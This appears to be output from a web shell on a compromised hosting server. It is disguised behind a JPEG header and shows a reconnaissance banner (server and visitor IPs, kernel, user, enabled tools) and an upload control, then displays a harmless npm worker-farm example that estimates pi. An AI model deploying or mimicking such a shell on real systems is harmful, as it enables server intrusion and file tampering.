????JFIF??x?x????'
| Server IP : 172.67.174.47  /  Your IP : 216.73.216.113 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/./usr/lib/node_modules/npm/node_modules/worker-farm/examples/pi/ | 
| Upload File : | 
'use strict'
const CHILDREN         = 500
    , POINTS_PER_CHILD = 1000000
    , FARM_OPTIONS     = {
          maxConcurrentWorkers        : require('os').cpus().length
        , maxCallsPerWorker           : Infinity
        , maxConcurrentCallsPerWorker : 1
      }
let workerFarm = require('../../')
  , calcDirect = require('./calc')
  , calcWorker = workerFarm(FARM_OPTIONS, require.resolve('./calc'))
  , ret
  , start
  , tally = function (finish, err, avg) {
      ret.push(avg)
      if (ret.length == CHILDREN) {
        let pi  = ret.reduce(function (a, b) { return a + b }) / ret.length
          , end = +new Date()
        console.log('π ≈', pi, '\t(' + Math.abs(pi - Math.PI), 'away from actual!)')
        console.log('took', end - start, 'milliseconds')
        if (finish)
          finish()
      }
    }
  , calc = function (method, callback) {
      ret   = []
      start = +new Date()
      for (let i = 0; i < CHILDREN; i++)
        method(POINTS_PER_CHILD, tally.bind(null, callback))
    }
console.log('Doing it the slow (single-process) way...')
calc(calcDirect, function () {
  console.log('Doing it the fast (multi-process) way...')
  calc(calcWorker, process.exit)
})